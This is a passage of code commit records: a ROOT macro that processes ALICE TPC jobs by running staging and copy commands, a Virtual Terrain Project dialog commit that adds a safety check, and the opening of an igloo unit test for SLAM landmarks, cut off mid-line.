IsLocked(TString jobID);\n  Bool_t  IsFail(TString jobID);\n  Bool_t  IsStaged(TString inputData);\n  Bool_t  IsCastorFile(TString filename);\n\n  TString  fJobFile;\n  TString  fWorkDir;\n  ClassDef(AliTPCJobs,0)\n};\n\n ClassImp(AliTPCJobs)\n\nAliTPCJobs::AliTPCJobs(){\n  \/\/ \n  \/\/\n  \/\/\n  gSystem->Load(\"libXrdClient.so\");\n  gSystem->Load(\"libNetx.so\");\n}\n\nvoid AliTPCJobs::ProcessAllJobs(){\n  \/\/\n  \/\/\n  \/\/\n  Int_t counter=0;\n  while (GetNextJob()){\n    \/\/\n    printf(\"PROCESSING JOB\\t%d\\n\",counter);\n    counter++;\n    if (!GetNextJob()) break;   \n  }\n}\n\n\nBool_t AliTPCJobs::GetNextJob(){\n  \/\/\n  \/\/ GetNextJob  - get job from the list which is not locked\n  \/\/\n  ifstream ins;\n  ins.open(fJobFile);\n  TString id;\n  TString inputData;\n  TString outputDir;\n  TString action;\n  Bool_t hasJob=kFALSE;\n  while(ins.good()) {\n    ins>>id;\n    ins>>inputData;\n    ins>>outputDir;\n    ins>>action;\n    if (!inputData.Contains(\".root\")) SetFail(id);\n    if (IsFail(id)) continue;\n    if (!IsLocked(id)){\n      hasJob=kTRUE;\n      break;\n    }\n    if (!IsStaged(inputData)){\n      \/\/Stage(inputData,id);\n      continue;\n    }\n  }\n  printf(\"Process %s\\n\",id.Data());\n  if (hasJob) ProcessJob(id,inputData,outputDir, action);\n  return hasJob;\n}\n\n\nvoid    AliTPCJobs::SetLock(TString jobID){\n  printf(\"touch out\/%s.lock\\n\",jobID.Data());\n  gSystem->Exec(Form(\"touch out\/%s.lock\",jobID.Data()));\n}\n\nvoid    AliTPCJobs::SetDone(TString jobID){ \n  printf(\"touch out\/%s.done\\n\",jobID.Data());\n  gSystem->Exec(Form(\"touch out\/%s.done\", jobID.Data()));\n}\n\nvoid    AliTPCJobs::SetFail(TString jobID){\n  printf(\"touch out\/%s.fail\\n\",jobID.Data());\n  gSystem->Exec(Form(\"touch out\/%s.fail\", jobID.Data()));\n}\n\nvoid  AliTPCJobs::Stage(TString inputData, TString jobID){\n  \/\/\n  \/\/ stage file\n  \/\/\n  inputData.ReplaceAll(\"root:\/\/voalice04.cern.ch:1094\/\",\"\");\n  if ( !IsCastorFile(inputData) ) return;\n  char command[1000];\n  sprintf(command,\"stager_get -M %s \\| grep SUBREQUEST_FAILED \",inputData.Data());\n  FILE *pipe = gSystem->OpenPipe(command,\"r\");\n  TString result;\n  result.Gets(pipe);\n  gSystem->ClosePipe(pipe);\n  if ( result.Contains(\"SUBREQUEST_FAILED\") ){\n      SetFail(jobID);\n  }\n}\n\nBool_t    AliTPCJobs::IsLocked(TString jobID){\n  TString path = \"out\/\";\n  path+=jobID;\n  path+=\".lock\";\n  Long_t pid; Long_t psize; Long_t pflags; Long_t pmodtime;\n  Int_t status = gSystem->GetPathInfo(path,&pid,&psize,&pflags,&pmodtime);\n  return (status==0);\n}\n\nBool_t    AliTPCJobs::IsFail(TString jobID){\n  TString path = \"out\/\";\n  path+=jobID;\n  path+=\".fail\";\n  Long_t pid; Long_t psize; Long_t pflags; Long_t pmodtime;\n  Int_t status = gSystem->GetPathInfo(path,&pid,&psize,&pflags,&pmodtime);\n  return (status==0);\n}\n\nBool_t  AliTPCJobs::IsStaged(TString inputData){\n  \/\/\n  \/\/ check if file bname is staged\n  \/\/\n  inputData.ReplaceAll(\"root:\/\/voalice04.cern.ch:1094\/\",\"\");\n  if ( !IsCastorFile(inputData) ) return kTRUE;\n  char command[1000];\n  sprintf(command,\"stager_qry -M %s \\| grep \/castor \\| gawk  \\'{ print $3;}\\'\",inputData.Data());\n  FILE *pipe = gSystem->OpenPipe(command,\"r\");\n  TString result;\n  result.Gets(pipe);\n  gSystem->ClosePipe(pipe);\n  if ( result.Contains(\"STAGED\") ) return kTRUE;\n\n  return kFALSE;\n}\n\nBool_t  AliTPCJobs::IsCastorFile(TString filename){\n  \/\/\n  \/\/ check if filename begins with 'castor'\n  \/\/\n  return filename.BeginsWith(\"\/castor\/\");\n}\n\n\nvoid AliTPCJobs::ProcessJob(TString jobID, TString inputData, TString outputDir, TString   action){\n  \/\/\n  \/\/\n  \/\/ 1. Create lock file\n  \/\/ 2. Get Input data\n  \/\/ 3. Process data\n  \/\/ 4. Create Done file\n  SetLock(jobID);\n  if (action.Contains(\"COPY\")){\n    char command[10000];\n      sprintf(command,\"xrdcp  -DIFirstConnectMaxCnt 4 -DIConnectTimeout 4 -DIRequestTimeout 4 -DIMaxRedirectcount 4 -DIRedirCntTimeout 4 %s\\t%s\\n\",inputData.Data(), outputDir.Data());\n    printf(\"Exec\\t%s\\n\", command);\n    gSystem->Exec(command);\n    \/\/TFile::Cp(inputData.Data(), outputDir.Data());\n  }else{\n    char command[10000];\n    sprintf(command,\"$ALICE_ROOT\/TPC\/macros\/testTPC\/action.sh %s %s %s %s\", jobID.Data(), inputData.Data(), outputDir.Data(), action.Data());    \n    printf(\"%s\\n\\n\",command);\n    gSystem->Exec(command);\n    printf(\"\\n\\n\");\n\n    \/\/ create temp work dir\n\/\/    TString processDir=fWorkDir+jobID+action;\n\/\/    Int_t res = gSystem->mkdir(processDir,kTRUE);\n\/\/    if ( res==-1 ){\n\/\/\tAliWarning(Form(\"Cannot create dir\/already exists: '%s'\",processDir.Data()));\n\/\/\treturn;\n\/\/    }\n  }\n  SetDone(jobID);\n}\n\n\n\nvoid AliTPCjobs(){\n  \/\/\n  \/\/\n  \/\/\n  AliTPCJobs jobs;\n  jobs.fJobFile=\"job.list\";\n  jobs.ProcessAllJobs();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Name: NodeDlg.cpp\n\/\/\n\/\/ Copyright (c) 2002-2004 Virtual Terrain Project\n\/\/ Free for all uses, see license.txt for details.\n\/\/\n\n#ifdef __GNUG__\n\t#pragma implementation \"NodeDlg.cpp\"\n#endif\n\n\/\/ For compilers that support precompilation, includes \"wx\/wx.h\".\n#include \"wx\/wxprec.h\"\n\n#ifdef __BORLANDC__\n\t#pragma hdrstop\n#endif\n\n#include \"NodeDlg.h\"\n#include \"RoadLayer.h\"\n#include \"Frame.h\"\n#include \"BuilderView.h\"\n\n#define MULTIPLE\t5000\n\nstatic wxPoint buf[10];\n\nvoid NodeDlgView::OnDraw(wxDC &dc)\n{\n\tif (!m_pNode)\n\t\treturn;\n\n\twxPoint center;\n\tscreen(m_pNode->m_p, center);\n\tm_pNode->Draw(&dc, this);\n\n\twxString string;\n\tfor (int i = 0; i < m_pNode->m_iLinks; i++)\n\t{\n\t\tLinkEdit *pR = m_pNode->GetLink(i);\n\t\tpR->Draw(&dc, this);\n\n\t\t\/\/we need to use the original node here because the roads point to it.\n\t\tDPoint2 close = m_pNode->GetAdjacentLinkPoint2d(i);\n\t\tDPoint2 vector = close - m_pNode->m_p;\n\t\tvector.Normalize();\n\t\tIPoint2 vec;\n\n\t\tvec.x = (int)(center.x + vector.x*20);\n\t\tvec.y = (int)(center.y - vector.y*20);\n\n\t\t\/\/draw signal lights or stop signs as necessary.\n\t\tdc.SetLogicalFunction(wxCOPY);\n\t\twxPen pen;\n\n\t\tswitch (m_pNode->GetIntersectType(i))\n\t\t{\n\t\tcase IT_STOPSIGN:\n\t\t\tpen.SetColour(128,0,0);\n\t\t\tdc.SetPen(pen);\n\t\t\tvec.x += 2;\n\t\t\tvec.y += 6;\n\t\t\tbuf[0].x = vec.x; buf[0].y = vec.y;\n\t\t\tvec.x -= 4;\n\t\t\tbuf[1].x = vec.x; buf[1].y = vec.y;\n\t\t\tvec.x -= 3;\n\t\t\tvec.y -= 3;\n\t\t\tbuf[2].x = vec.x; buf[2].y = vec.y;\n\t\t\tvec.y -= 4;\n\t\t\tbuf[3].x = vec.x; buf[3].y = vec.y;\n\t\t\tvec.x += 3;\n\t\t\tvec.y -= 3;\n\t\t\tbuf[4].x = vec.x; buf[4].y = vec.y;\n\t\t\tvec.x += 4;\n\t\t\tbuf[5].x = vec.x; buf[5].y = vec.y;\n\t\t\tvec.x += 3;\n\t\t\tvec.y += 3;\n\t\t\tbuf[6].x = vec.x; buf[6].y = vec.y;\n\t\t\tvec.y += 4;\n\t\t\tbuf[7].x = vec.x; buf[7].y = vec.y;\n\t\t\tvec.x -= 3;\n\t\t\tvec.y += 3;\n\t\t\tbuf[8].x = vec.x; buf[8].y = vec.y;\n\t\t\tdc.DrawLines(9, buf);\n\t\t\tbreak;\n\t\tcase IT_LIGHT:\n\t\t\twxBrush brush;\n\t\t\tswitch (m_pNode->GetLightStatus(i))\n\t\t\t{\n\t\t\tcase LT_INVALID:\n\t\t\t\tpen.SetColour(0,0,0);\n\t\t\t\tbrush.SetColour(0,0,0);\n\t\t\t\tbreak;\n\t\t\tcase LT_RED:\n\t\t\t\tpen.SetColour(128,0,0);\n\t\t\t\tbrush.SetColour(128,0,0);\n\t\t\t\tbreak;\n\t\t\tcase LT_YELLOW:\n\t\t\t\tpen.SetColour(0,128,128);\n\t\t\t\tbrush.SetColour(0,128,128);\n\t\t\t\tbreak;\n\t\t\tcase LT_GREEN:\n\t\t\t\tpen.SetColour(0,128,0);\n\t\t\t\tbrush.SetColour(0,128,0);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t\/\/unrecognized\n\t\t\t\tpen.SetColour(0,0,255);\n\t\t\t\tbrush.SetColour(0,0,255);\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tdc.SetPen(pen);\n\t\t\tdc.SetBrush(brush);\n\t\t\twxRect box;\n\t\t\tint radius = 4;\n\t\t\tbox.y = vec.y - radius;\n\t\t\tbox.height = (radius << 1);\n\t\t\tbox.x = vec.x - radius;\n\t\t\tbox.width = (radius << 1);\n\t\t\tdc.DrawEllipse(box.x, box.y, box.width, box.height);\n\t\t\tbreak;\n\t\t}\n\n\t\t\/\/draw text labels\n\t\tvec.x = (int)(center.x + vector.x*40);\n\t\tvec.y = (int)(center.y - vector.y*40);\n\t\tstring.Printf(_T(\"%i\"), i);\n\t\tdc.DrawText(string, vec.x-10, vec.y-10);\n\t}\n}\n\n\/\/ WDR: class implementations\n\n\/\/----------------------------------------------------------------------------\n\/\/ NodeDlg\n\/\/----------------------------------------------------------------------------\n\n\/\/ WDR: event table for NodeDlg\n\nBEGIN_EVENT_TABLE(NodeDlg, AutoDialog)\n\tEVT_INIT_DIALOG (NodeDlg::OnInitDialog)\n\tEVT_LISTBOX( ID_INTTYPE, NodeDlg::OnIntType )\n\tEVT_LISTBOX( ID_ROADNUM, NodeDlg::OnLinkNum )\n\tEVT_LISTBOX( ID_BEHAVIOR, NodeDlg::OnBehavior )\nEND_EVENT_TABLE()\n\nNodeDlg::NodeDlg( wxWindow *parent, wxWindowID id, const wxString &title,\n\tconst wxPoint &position, const wxSize& size, long style ) :\n\tAutoDialog( parent, id, title, position, size, style )\n{\n\tNodePropDialogFunc( this, TRUE );\n\n\tGetIntType()->Append(_(\"Unknown\"));\n\tGetIntType()->Append(_(\"Uncontrolled\"));\n\tGetIntType()->Append(_(\"All Traffic Light(s)\"));\n\tGetIntType()->Append(_(\"All Stop Sign(s)\"));\n\tGetIntType()->Append(_(\"Traffic Light(s)\"));\n\tGetIntType()->Append(_(\"Stop Sign(s)\"));\n\tGetIntType()->Append(_(\"(multiple)\"));\n\n\tGetBehavior()->Append(_(\"Uncontrolled\"));\t\/\/ IT_NONE\n\tGetBehavior()->Append(_(\"Traffic Light\"));\t\/\/ IT_LIGHT\n\tGetBehavior()->Append(_(\"Stop Sign\"));\t\t\/\/ IT_STOPSIGN\n\n\tm_pView = (NodeDlgView *) FindWindow( ID_SCROLLED );\n\n\tvtScaledView *pMainView = GetMainFrame()->GetView();\n\tfloat fScale = pMainView->GetScale();\n\tm_pView->SetScale(fScale);\n}\n\nvoid NodeDlg::SetNode(NodeEdit *pSingleNode, vtRoadLayer *pLayer)\n{\n\tm_pNode = pSingleNode;\n\tm_pLayer = pLayer;\n\tm_pView->m_pNode = m_pNode;\n\tif (NULL != m_pNode)\n\t\tm_pView->ZoomToPoint(m_pNode->m_p);\n}\n\n\/\/ WDR: handler implementations for NodeDlg\n\nvoid NodeDlg::OnBehavior( wxCommandEvent &event )\n{\n\tint sel = GetLinkNum()->GetSelection();\n\t\/\/select new behavior and redraw it on the dialog.\n\tint itype = GetBehavior()->GetSelection();\n\tm_pNode->SetIntersectType(sel, (IntersectionType)itype );\n\n\t\/\/ this may have changed the VIT, so check\n\tm_pNode->DetermineVisualFromLinks();\n\tGetIntType()->SetSelection(m_pNode->GetVisual());\n\n\tRefresh();\n}\n\nvoid NodeDlg::OnLinkNum( wxCommandEvent &event )\n{\n\tint sel = GetLinkNum()->GetSelection();\n\t\/\/update what the behavior shows to match that of the road\n\tGetBehavior()->SetSelection(m_pNode->GetIntersectType(sel));\n}\n\nvoid NodeDlg::OnIntType( wxCommandEvent &event )\n{\n\t\/\/new node behavior\n\tVisualIntersectionType vitype;\n\tint sel = GetIntType()->GetSelection();\n\tif (sel == 0 || sel == 6)\t\/\/ unknown or multiple not allowed\n\t\treturn;\n\n\tvitype = (VisualIntersectionType) sel;\n\n\tif (m_pNode)\n\t\tApplyVisualToNode(m_pNode, vitype);\n\telse\n\t{\n\t\tfor (NodeEdit *n = m_pLayer->GetFirstNode(); n; n=n->GetNext())\n\t\t{\n\t\t\tif (!n->IsSelected())\n\t\t\t\tcontinue;\n\t\t\tApplyVisualToNode(n, vitype);\n\t\t}\n\t}\n\tRefresh();\n}\n\nvoid NodeDlg::ApplyVisualToNode(NodeEdit *pNode, VisualIntersectionType vitype)\n{\n\tint i;\n\n\tpNode->SetVisual(vitype);\n\n\t\/\/overwrite all behaviors at the roads to match new assigned node behavior.\n\tswitch (vitype)\n\t{\n\tcase VIT_NONE:\n\t\t\/\/make all intersections uncontrolled\n\t\tfor (i = 0; i < pNode->m_iLinks; i++) {\n\t\t\tpNode->SetIntersectType(i, IT_NONE);\n\t\t}\n\t\tGetBehavior()->SetSelection(IT_NONE);\n\t\tbreak;\n\tcase VIT_ALLSTOPS:\n\t\t\/\/make all intersections stop signs\n\t\tfor (i = 0; i < pNode->m_iLinks; i++) {\n\t\t\tpNode->SetIntersectType(i, IT_STOPSIGN);\n\t\t}\n\t\tGetBehavior()->SetSelection(IT_STOPSIGN);\n\t\tbreak;\n\tcase VIT_ALLLIGHTS:\n\t\t\/\/make all intersections lights\n\t\tfor (i = 0; i < pNode->m_iLinks; i++) {\n\t\t\tpNode->SetIntersectType(i, IT_LIGHT);\n\t\t}\n\t\tGetBehavior()->SetSelection(IT_LIGHT);\n\t\tpNode->AdjustForLights();\n\t\tbreak;\n\t}\n}\n\nvoid NodeDlg::OnInitDialog(wxInitDialogEvent& event)\n{\n\t\/\/ if we are editing multiple nodes at once, disable some of the\n\t\/\/ editing abilities\n\tif (!m_pNode)\n\t{\n\t\tGetLinkNum()->Enable(false);\n\t\tGetBehavior()->Enable(false);\n\n\t\t\/\/ Accumulate state\n\t\tint viz = -1;\n\t\tfor (NodeEdit *n = m_pLayer->GetFirstNode(); n; n=n->GetNext())\n\t\t{\n\t\t\tif (!n->IsSelected())\n\t\t\t\tcontinue;\n\t\t\tif (viz == -1)\n\t\t\t\tviz = n->GetVisual();\n\t\t\tif (n->GetVisual() != viz)\n\t\t\t\tviz = MULTIPLE;\n\t\t}\n\n\t\t\/\/ Transfer state to control\n\t\tif (viz == MULTIPLE)\n\t\t\tGetIntType()->SetSelection(6);\n\t\telse\n\t\t\tGetIntType()->SetSelection(viz);\n\t}\n\telse\n\t{\n\t\t\/\/ single road\n\t\twxString string;\n\t\tfor (int i = 0; i < m_pNode->m_iLinks; i++)\n\t\t{\n\t\t\tstring.Printf(_T(\"%i\"), i);\n\t\t\tGetLinkNum()->Append(string);\n\t\t}\n\t\tGetLinkNum()->SetSelection(0);\n\t\tGetIntType()->SetSelection(m_pNode->GetVisual());\n\t\tint itype = m_pNode->GetIntersectType(0);\n\t\tGetBehavior()->SetSelection(itype);\n\t}\n}\n\n<commit_msg>safety check<commit_after>\/\/\n\/\/ Name: NodeDlg.cpp\n\/\/\n\/\/ Copyright (c) 2002-2004 Virtual Terrain Project\n\/\/ Free for all uses, see license.txt for details.\n\/\/\n\n#ifdef __GNUG__\n\t#pragma implementation \"NodeDlg.cpp\"\n#endif\n\n\/\/ For compilers that support precompilation, includes \"wx\/wx.h\".\n#include \"wx\/wxprec.h\"\n\n#ifdef __BORLANDC__\n\t#pragma hdrstop\n#endif\n\n#include \"NodeDlg.h\"\n#include \"RoadLayer.h\"\n#include \"Frame.h\"\n#include \"BuilderView.h\"\n\n#define MULTIPLE\t5000\n\nstatic wxPoint buf[10];\n\nvoid NodeDlgView::OnDraw(wxDC &dc)\n{\n\tif (!m_pNode)\n\t\treturn;\n\n\twxPoint center;\n\tscreen(m_pNode->m_p, center);\n\tm_pNode->Draw(&dc, this);\n\n\twxString string;\n\tfor (int i = 0; i < m_pNode->m_iLinks; i++)\n\t{\n\t\tLinkEdit *pR = m_pNode->GetLink(i);\n\t\tpR->Draw(&dc, this);\n\n\t\t\/\/we need to use the original node here because the roads point to it.\n\t\tDPoint2 close = m_pNode->GetAdjacentLinkPoint2d(i);\n\t\tDPoint2 vector = close - m_pNode->m_p;\n\t\tvector.Normalize();\n\t\tIPoint2 vec;\n\n\t\tvec.x = (int)(center.x + vector.x*20);\n\t\tvec.y = (int)(center.y - vector.y*20);\n\n\t\t\/\/draw signal lights or stop signs as necessary.\n\t\tdc.SetLogicalFunction(wxCOPY);\n\t\twxPen pen;\n\n\t\tswitch (m_pNode->GetIntersectType(i))\n\t\t{\n\t\tcase IT_STOPSIGN:\n\t\t\tpen.SetColour(128,0,0);\n\t\t\tdc.SetPen(pen);\n\t\t\tvec.x += 2;\n\t\t\tvec.y += 6;\n\t\t\tbuf[0].x = vec.x; buf[0].y = vec.y;\n\t\t\tvec.x -= 4;\n\t\t\tbuf[1].x = vec.x; buf[1].y = vec.y;\n\t\t\tvec.x -= 3;\n\t\t\tvec.y -= 3;\n\t\t\tbuf[2].x = vec.x; buf[2].y = vec.y;\n\t\t\tvec.y -= 4;\n\t\t\tbuf[3].x = vec.x; buf[3].y = vec.y;\n\t\t\tvec.x += 3;\n\t\t\tvec.y -= 3;\n\t\t\tbuf[4].x = vec.x; buf[4].y = vec.y;\n\t\t\tvec.x += 4;\n\t\t\tbuf[5].x = vec.x; buf[5].y = vec.y;\n\t\t\tvec.x += 3;\n\t\t\tvec.y += 3;\n\t\t\tbuf[6].x = vec.x; buf[6].y = vec.y;\n\t\t\tvec.y += 4;\n\t\t\tbuf[7].x = vec.x; buf[7].y = vec.y;\n\t\t\tvec.x -= 3;\n\t\t\tvec.y += 3;\n\t\t\tbuf[8].x = vec.x; buf[8].y = vec.y;\n\t\t\tdc.DrawLines(9, buf);\n\t\t\tbreak;\n\t\tcase IT_LIGHT:\n\t\t\twxBrush brush;\n\t\t\tswitch (m_pNode->GetLightStatus(i))\n\t\t\t{\n\t\t\tcase LT_INVALID:\n\t\t\t\tpen.SetColour(0,0,0);\n\t\t\t\tbrush.SetColour(0,0,0);\n\t\t\t\tbreak;\n\t\t\tcase LT_RED:\n\t\t\t\tpen.SetColour(128,0,0);\n\t\t\t\tbrush.SetColour(128,0,0);\n\t\t\t\tbreak;\n\t\t\tcase LT_YELLOW:\n\t\t\t\tpen.SetColour(0,128,128);\n\t\t\t\tbrush.SetColour(0,128,128);\n\t\t\t\tbreak;\n\t\t\tcase LT_GREEN:\n\t\t\t\tpen.SetColour(0,128,0);\n\t\t\t\tbrush.SetColour(0,128,0);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t\/\/unrecognized\n\t\t\t\tpen.SetColour(0,0,255);\n\t\t\t\tbrush.SetColour(0,0,255);\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tdc.SetPen(pen);\n\t\t\tdc.SetBrush(brush);\n\t\t\twxRect box;\n\t\t\tint radius = 4;\n\t\t\tbox.y = vec.y - radius;\n\t\t\tbox.height = (radius << 1);\n\t\t\tbox.x = vec.x - radius;\n\t\t\tbox.width = (radius << 1);\n\t\t\tdc.DrawEllipse(box.x, box.y, box.width, box.height);\n\t\t\tbreak;\n\t\t}\n\n\t\t\/\/draw text labels\n\t\tvec.x = (int)(center.x + vector.x*40);\n\t\tvec.y = (int)(center.y - vector.y*40);\n\t\tstring.Printf(_T(\"%i\"), i);\n\t\tdc.DrawText(string, vec.x-10, vec.y-10);\n\t}\n}\n\n\/\/ WDR: class implementations\n\n\/\/----------------------------------------------------------------------------\n\/\/ NodeDlg\n\/\/----------------------------------------------------------------------------\n\n\/\/ WDR: event table for NodeDlg\n\nBEGIN_EVENT_TABLE(NodeDlg, AutoDialog)\n\tEVT_INIT_DIALOG (NodeDlg::OnInitDialog)\n\tEVT_LISTBOX( ID_INTTYPE, NodeDlg::OnIntType )\n\tEVT_LISTBOX( ID_ROADNUM, NodeDlg::OnLinkNum )\n\tEVT_LISTBOX( ID_BEHAVIOR, NodeDlg::OnBehavior )\nEND_EVENT_TABLE()\n\nNodeDlg::NodeDlg( wxWindow *parent, wxWindowID id, const wxString &title,\n\tconst wxPoint &position, const wxSize& size, long style ) :\n\tAutoDialog( parent, id, title, position, size, style )\n{\n\tNodePropDialogFunc( this, TRUE );\n\n\tGetIntType()->Append(_(\"Unknown\"));\n\tGetIntType()->Append(_(\"Uncontrolled\"));\n\tGetIntType()->Append(_(\"All Traffic Light(s)\"));\n\tGetIntType()->Append(_(\"All Stop Sign(s)\"));\n\tGetIntType()->Append(_(\"Traffic Light(s)\"));\n\tGetIntType()->Append(_(\"Stop Sign(s)\"));\n\tGetIntType()->Append(_(\"(multiple)\"));\n\n\tGetBehavior()->Append(_(\"Uncontrolled\"));\t\/\/ IT_NONE\n\tGetBehavior()->Append(_(\"Traffic Light\"));\t\/\/ IT_LIGHT\n\tGetBehavior()->Append(_(\"Stop Sign\"));\t\t\/\/ IT_STOPSIGN\n\n\tm_pView = (NodeDlgView *) FindWindow( ID_SCROLLED );\n\n\tvtScaledView *pMainView = GetMainFrame()->GetView();\n\tfloat fScale = pMainView->GetScale();\n\tm_pView->SetScale(fScale);\n}\n\nvoid NodeDlg::SetNode(NodeEdit *pSingleNode, vtRoadLayer *pLayer)\n{\n\tm_pNode = pSingleNode;\n\tm_pLayer = pLayer;\n\tm_pView->m_pNode = m_pNode;\n\tif (NULL != m_pNode)\n\t\tm_pView->ZoomToPoint(m_pNode->m_p);\n}\n\n\/\/ WDR: handler implementations for NodeDlg\n\nvoid NodeDlg::OnBehavior( wxCommandEvent &event )\n{\n\tint sel = GetLinkNum()->GetSelection();\n\t\/\/select new behavior and redraw it on the dialog.\n\tint itype = GetBehavior()->GetSelection();\n\tm_pNode->SetIntersectType(sel, (IntersectionType)itype );\n\n\t\/\/ this may have changed the VIT, so check\n\tm_pNode->DetermineVisualFromLinks();\n\tGetIntType()->SetSelection(m_pNode->GetVisual());\n\n\tRefresh();\n}\n\nvoid NodeDlg::OnLinkNum( wxCommandEvent &event )\n{\n\tint sel = GetLinkNum()->GetSelection();\n\t\/\/update what the behavior shows to match that of the road\n\tGetBehavior()->SetSelection(m_pNode->GetIntersectType(sel));\n}\n\nvoid NodeDlg::OnIntType( wxCommandEvent &event )\n{\n\t\/\/new node behavior\n\tVisualIntersectionType vitype;\n\tint sel = GetIntType()->GetSelection();\n\tif (sel == 0 || sel == 6)\t\/\/ unknown or multiple not allowed\n\t\treturn;\n\n\tvitype = (VisualIntersectionType) sel;\n\n\tif (m_pNode)\n\t\tApplyVisualToNode(m_pNode, vitype);\n\telse\n\t{\n\t\tfor (NodeEdit *n = m_pLayer->GetFirstNode(); n; n=n->GetNext())\n\t\t{\n\t\t\tif (!n->IsSelected())\n\t\t\t\tcontinue;\n\t\t\tApplyVisualToNode(n, vitype);\n\t\t}\n\t}\n\tRefresh();\n}\n\nvoid NodeDlg::ApplyVisualToNode(NodeEdit *pNode, VisualIntersectionType vitype)\n{\n\tint i;\n\n\tpNode->SetVisual(vitype);\n\n\t\/\/overwrite all behaviors at the roads to match new assigned node behavior.\n\tswitch (vitype)\n\t{\n\tcase VIT_NONE:\n\t\t\/\/make all intersections uncontrolled\n\t\tfor (i = 0; i < pNode->m_iLinks; i++) {\n\t\t\tpNode->SetIntersectType(i, IT_NONE);\n\t\t}\n\t\tGetBehavior()->SetSelection(IT_NONE);\n\t\tbreak;\n\tcase VIT_ALLSTOPS:\n\t\t\/\/make all intersections stop signs\n\t\tfor (i = 0; i < pNode->m_iLinks; i++) {\n\t\t\tpNode->SetIntersectType(i, IT_STOPSIGN);\n\t\t}\n\t\tGetBehavior()->SetSelection(IT_STOPSIGN);\n\t\tbreak;\n\tcase VIT_ALLLIGHTS:\n\t\t\/\/make all intersections lights\n\t\tfor (i = 0; i < pNode->m_iLinks; i++) {\n\t\t\tpNode->SetIntersectType(i, IT_LIGHT);\n\t\t}\n\t\tGetBehavior()->SetSelection(IT_LIGHT);\n\t\tpNode->AdjustForLights();\n\t\tbreak;\n\t}\n}\n\nvoid NodeDlg::OnInitDialog(wxInitDialogEvent& event)\n{\n\t\/\/ if we are editing multiple nodes at once, disable some of the\n\t\/\/ editing abilities\n\tif (!m_pNode)\n\t{\n\t\tGetLinkNum()->Enable(false);\n\t\tGetBehavior()->Enable(false);\n\n\t\t\/\/ Accumulate state\n\t\tint viz = -1;\n\t\tfor (NodeEdit *n = m_pLayer->GetFirstNode(); n; n=n->GetNext())\n\t\t{\n\t\t\tif (!n->IsSelected())\n\t\t\t\tcontinue;\n\t\t\tif (viz == -1)\n\t\t\t\tviz = n->GetVisual();\n\t\t\tif (n->GetVisual() != viz)\n\t\t\t\tviz = MULTIPLE;\n\t\t}\n\n\t\t\/\/ Transfer state to control\n\t\tif (viz == MULTIPLE)\n\t\t\tGetIntType()->SetSelection(6);\n\t\telse\n\t\t\tGetIntType()->SetSelection(viz);\n\t}\n\telse\n\t{\n\t\t\/\/ single road\n\t\twxString string;\n\t\tfor (int i = 0; i < m_pNode->m_iLinks; i++)\n\t\t{\n\t\t\tstring.Printf(_T(\"%i\"), i);\n\t\t\tGetLinkNum()->Append(string);\n\t\t}\n\t\tif (m_pNode->m_iLinks > 0)\n\t\t\tGetLinkNum()->SetSelection(0);\n\t\tGetIntType()->SetSelection(m_pNode->GetVisual());\n\t\tint itype = m_pNode->GetIntersectType(0);\n\t\tGetBehavior()->SetSelection(itype);\n\t}\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include <igloo\/igloo_alt.h>\n#include <Landmarks.hh>\n\nnamespace\tLandmark_Result\n{\n  int\t\tid = -1;\n  int\t\tlife = LIFE;\n  int\t\ttotalTimesObserved = 0;\n  double\trange = -1;\n  double\tbearing = -1;\n  double\tpos[2] = {0.0, 0.0};\n};\n\nnamespace\tLandmarks_Result\n{\n  int\t\tDBSize = 0;\n  int\t\tEKFLandmarks = 0;\n  double\tdefaultdegreePerScan = DEGREESPERSCAN;\n  double\tdegreePerScan = 0.42; \n  int\t\tsizeIDtoID = MAXLANDMARKS;\n  int\t\tsizelandmarkDB = MAXLANDMARKS;\n};\n\nusing namespace igloo;\n\nWhen(creating_a_landmark)\n{\n  Then(it_should_have_default_value)\n    {\n      Assert::That(lm.id, Is().EqualTo(::Landmark_Result::id));\n      Assert::That(lm.life, Is().EqualTo(::Landmark_Result::life));\n      Assert::That(lm.totalTimeObserved, Is().EqualTo(::Landmark_Result::totalTimesObserved));\n      Assert::That(lm.range, Is().EqualTo(::Landmark_Result::range));\n      Assert::That(lm.bearing, Is().EqualTo(::Landmark_Result::bearing));\n      Assert::That(lm.pos[0], Is().EqualTo(::Landmark_Result::pos[0]));\n      Assert::That(lm.pos[1], Is().EqualTo(::Landmark_Result::pos[1]));\n    }\n\n  ::Landmarks::Landmark\tlm;\n};\n\nWhen(creating_Landmarks)\n{\n  Then(it_should_have_default_landmarks_value)\n  {\n    Assert::That(lms.DBSize, Is().EqualTo(::Landmarks_Result::DBSize));\n    Assert::That(lms.EKFLandmarks, Is().EqualTo(::Landmarks_Result::EKFLandmarks));\n    Assert::That(lms.degreePerScan, Is().EqualTo(::Landmarks_Result::defaultdegreePerScan));\n    Assert::That(lms.IDtoID.capacity(), Is().EqualTo(::Landmarks_Result::sizeIDtoID));\n    Assert::That(lms.landmarkDB.capacity(), Is().EqualTo(::Landmarks_Result::sizelandmarkDB));\n  }\n\n  Landmarks lms;\n};\n\nWhen(creating_Landmarks_with_a_specific_degree_value_different_from_default)\n{\n  void SetUp()\n  {\n    lms = new ::Landmarks(::Landmarks_Result::degreePerScan);\n  }\n\n  Then(it_should_not_have_default_degree_value)\n  {\n    Assert::That(lms->degreePerScan, Is().Not().EqualTo(::Landmarks_Result::defaultdegreePerScan));\n  }\n  \n  Then(it_should_have_this_specific_degree_value)\n  {\n    Assert::That(lms->degreePerScan, Is().EqualTo(::Landmarks_Result::degreePerScan));\n  }\n\n  void\tTearDown()\n  {\n    delete lms;\n  }\n\n  Landmarks *lms;\n};\n\n<commit_msg>SLAM: Test: getDbSize()<commit_after>#include <igloo\/igloo_alt.h>\n#include <Landmarks.hh>\n\nnamespace\tLandmark_Result\n{\n  int\t\tid = -1;\n  int\t\tlife = LIFE;\n  int\t\ttotalTimesObserved = 0;\n  double\trange = -1;\n  double\tbearing = -1;\n  double\tpos[2] = {0.0, 0.0};\n};\n\nnamespace\tLandmarks_Result\n{\n  int\t\tDBSize = 0;\n  int\t\tEKFLandmarks = 0;\n  double\tdefaultdegreePerScan = DEGREESPERSCAN;\n  double\tdegreePerScan = 0.42; \n  int\t\tsizeIDtoID 